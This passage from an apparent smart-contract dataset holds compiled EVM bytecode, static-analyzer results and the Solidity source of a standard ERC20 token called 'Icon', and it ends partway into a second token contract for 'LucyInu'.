ffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061192f57506000601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b151561193a57600080fd5b60008311151561194957600080fd5b600f54905082600f819055507fb01b0304cdcaffa13e4b57ecbe280da183afb719becd1d56e9211cc3781ea42181600f54604051808381526020018281526020019250505060405180910390a16001915050919050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611ac557506000601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1515611ad057600080fd5b60008573ffffffffffffffffffffffffffffffffffffffff1614158015611af75750600083115b8015611b035750428410155b1515611b0e57600080fd5b82600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555083600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff167f49eaf4942f1237055eb4cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557b8585604051808381526020018281526020019250505060405180910390a2838391509150935093915050565b6000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c5857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515611c9457600080fd5b81601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff16601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360019050919050565b600080601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611df857506000601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1515611e0357600080fd5b60008310158015611e145750600483105b8015611e205750600483105b1515611e2b57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f84a36c1f95c5b90497f063912621cdc88710ee4fffb678361d2caecc144130a184600486600481101515611e9557fe5b0154600887600481101515611ea657fe5b015460405180848152602001838152602001828152602001935050505060405180910390a2600483600481101515611eda57fe5b0154600884600481101515611eeb57fe5b015491509150915091565b60008082840290506000841480611f175750828482811515611f1457fe5b04145b1515611f1f57fe5b8091505092915050565b600080600083111515611f3857fe5b8284811515611f4357fe5b0490508284811515611f5157fe5b068184020184141515611f6057fe5b8091505092915050565b60008060008060008773ffffffffffffffffffffffffffffffffffffffff1614158015611fae575060008673ffffffffffffffffffffffffffffffffffffffff1614155b8015611fba5750600085115b1515611fc557600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614156120855761202361221e565b925084612077846000808b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122b590919063ffffffff16565b1015151561208457600080fd5b5b61208e8761131c565b915091504282111580156120a3575060008214155b1561219157600091506000600d60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600c60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508673ffffffffffffffffffffffffffffffffffffffff167fc56cef68903bdd36458fd80e70fac1fabcf0b8b37d32e6b9d02ccef26642570b8383604051808381526020018281526020019250505060405180910390a2600090505b600082141580156121a25750600081115b1561220757846121f9826000808b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122b590919063ffffffff16565b1015151561220657600080fd5b5b612212878787612655565b93505050509392505050565b6000806000429150600090505b60048110156122ab57600060048260048110151561224557fe5b015414156122525761229e565b60048160048110151561226157fe5b015482111561228557600060048260048110151561227b57fe5b018190555061229d565b60088160048110151561229457fe5b015492506122b0565b5b808060010191505061222b565b600092505b505090565b60008282111515156122c357fe5b818303905092915050565b6000808211801561235b575081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156123a55750816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b15156123b057600080fd5b612401826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122b590919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612494826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461284590919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061256582600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122b590919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080821180156126a45750816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b15156126af57600080fd5b612700826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122b590919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612793826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461284590919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080828401905083811015151561285957fe5b8091505092915050565b6000612875848484600080600061287e565b90509392505050565b600080612889612ba6565b6107b291505b8861ffff168261ffff1610156128d2576128a882612b25565b156128bb576301e28500830192506128c5565b6301e13380830192505b818060010192505061288f565b601f816000600c811015156128e357fe5b602002019060ff16908160ff16815250506128fd89612b25565b1561292957601d816001600c8110151561291357fe5b602002019060ff16908160ff168152505061294c565b601c816001600c8110151561293a57fe5b602002019060ff16908160ff16815250505b601f816002600c8110151561295d57fe5b602002019060ff16908160ff1681525050601e816003600c8110151561297f57fe5b602002019060ff16908160ff1681525050601f816004600c811015156129a157fe5b602002019060ff16908160ff1681525050601e816005600c811015156129c357fe5b602002019060ff16908160ff1681525050601f816006600c811015156129e557fe5b602002019060ff16908160ff1681525050601f816007600c81101515612a0757fe5b602002019060ff16908160ff1681525050601e816008600c81101515612a2957fe5b602002019060ff16908160ff1681525050601f816009600c81101515612a4b57fe5b602002019060ff16908160ff1681525050601e81600a600c81101515612a6d57fe5b602002019060ff16908160ff1681525050601f81600b600c81101515612a8f57fe5b602002019060ff16908160ff1681525050600191505b8760ff168261ffff161015612ae757806001830361ffff16600c81101515612ac957fe5b602002015160ff166201518002830192508180600101925050612aa5565b6001870360ff166201518002830192508560ff16610e1002830192508460ff16603c02830192508360ff168301925082925050509695505050505050565b60008060048361ffff16811515612b3857fe5b0661ffff16141515612b4d5760009050612ba1565b600060648361ffff16811515612b5f57fe5b0661ffff16141515612b745760019050612ba1565b60006101908361ffff16811515612b8757fe5b0661ffff16141515612b9c5760009050612ba1565b600190505b919050565b61018060405190810160405280600c906020820280388339808201915050905050905600a165627a7a72305820c55abbdde7fc67caac84b308d37a233649c6ec2e9692bcb960b1cbc8d37a633c0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 5,956 |
0xe58fccf0898be81ccb48c92d71e2ebab67262675
|
pragma solidity >=0.5.0 <0.6.0;
/**
* @title ERC20 interface
* @dev see https://eips.ethereum.org/EIPS/eip-20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev give an account access to this role
*/
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
/**
* @dev remove an account's access to this role
*/
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
/**
* @dev check if an account has this role
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
}
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor () internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://eips.ethereum.org/EIPS/eip-20
* Originally based on code by FirstBlood:
* https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*
* This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for
* all accounts just by listening to said events. Note that this isn't required by the specification, and other
* compliant implementations may not do it.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return A uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer token to a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when _allowed[msg.sender][spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when _allowed[msg.sender][spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Approve an address to spend another addresses' tokens.
* @param owner The address that owns the tokens.
* @param spender The address that will spend the tokens.
* @param value The number of tokens that can be spent.
*/
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0));
require(owner != address(0));
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* Emits an Approval event (reflecting the reduced allowance).
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
_burn(account, value);
_approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @title ERC20Detailed token
* @dev The decimals are only for visualization purposes.
* All the operations are done using the smallest and indivisible token unit,
* just as on Ethereum all the operations are done in wei.
*/
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @return the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract Icon is ERC20Detailed,ERC20,Ownable {
constructor()
public
ERC20Detailed ("Icon", "ICON", 18) {
_mint(msg.sender, 5000000000 * (10 ** uint256(18)));
}
}
|
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063715018a61161008c578063a457c2d711610066578063a457c2d714610435578063a9059cbb1461049b578063dd62ed3e14610501578063f2fde38b14610579576100ea565b8063715018a61461035e5780638da5cb5b1461036857806395d89b41146103b2576100ea565b806323b872dd116100c857806323b872dd146101f6578063313ce5671461027c57806339509351146102a057806370a0823114610306576100ea565b806306fdde03146100ef578063095ea7b31461017257806318160ddd146101d8575b600080fd5b6100f76105bd565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013757808201518184015260208101905061011c565b50505050905090810190601f1680156101645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061065f565b604051808215151515815260200191505060405180910390f35b6101e0610676565b6040518082815260200191505060405180910390f35b6102626004803603606081101561020c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610680565b604051808215151515815260200191505060405180910390f35b610284610731565b604051808260ff1660ff16815260200191505060405180910390f35b6102ec600480360360408110156102b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610748565b604051808215151515815260200191505060405180910390f35b6103486004803603602081101561031c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506107ed565b6040518082815260200191505060405180910390f35b610366610836565b005b6103706109ba565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103ba6109e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103fa5780820151818401526020810190506103df565b50505050905090810190601f1680156104275780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104816004803603604081101561044b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a86565b604051808215151515815260200191505060405180910390f35b6104e7600480360360408110156104b157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b2b565b604051808215151515815260200191505060405180910390f35b6105636004803603604081101561051757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b42565b6040518082815260200191505060405180910390f35b6105bb6004803603602081101561058f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bc9565b005b606060008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106555780601f1061062a57610100808354040283529160200191610655565b820191906000526020600020905b81548152906001019060200180831161063857829003601f168201915b5050505050905090565b600061066c338484610dd2565b6001905092915050565b6000600554905090565b600061068d848484610f31565b610726843361072185600460008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110ff90919063ffffffff16565b610dd2565b600190509392505050565b6000600260009054906101000a900460ff16905090565b60006107e333846107de85600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461111f90919063ffffffff16565b610dd2565b6001905092915050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a7c5780601f10610a5157610100808354040283529160200191610a7c565b820191906000526020600020905b815481529060010190602001808311610a5f57829003601f168201915b5050505050905090565b6000610b213384610b1c85600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110ff90919063ffffffff16565b610dd2565b6001905092915050565b6000610b38338484610f31565b6001905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c8c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610d12576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061113f6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e0c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e4657600080fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f6b57600080fd5b610fbd81600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110ff90919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061105281600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461111f90919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008282111561110e57600080fd5b600082840390508091505092915050565b60008082840190508381101561113457600080fd5b809150509291505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a265627a7a72315820eefbf38a1da45843829e4b81b3a2184c694e2bd99ca59837e15bf95b3f5488d564736f6c63430005110032
|
{"success": true, "error": null, "results": {}}
| 5,957 |
0xcdd6c793c13d9c769df55adb069179b3e2459d8d
|
/*
/$$ /$$$$$$
| $$ |_ $$_/
| $$ /$$ /$$ /$$$$$$$ /$$ /$$ | $$ /$$$$$$$ /$$ /$$
| $$ | $$ | $$ /$$_____/| $$ | $$ | $$ | $$__ $$| $$ | $$
| $$ | $$ | $$| $$ | $$ | $$ | $$ | $$ \ $$| $$ | $$
| $$ | $$ | $$| $$ | $$ | $$ | $$ | $$ | $$| $$ | $$
| $$$$$$$$| $$$$$$/| $$$$$$$| $$$$$$$ /$$$$$$| $$ | $$| $$$$$$/
|________/ \______/ \_______/ \____ $$ |______/|__/ |__/ \______/
/$$ | $$
| $$$$$$/
\______/
Telegram: t.me/LucyInuETH
Website: https://lucyinu.me
*/
pragma solidity ^0.8.3;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
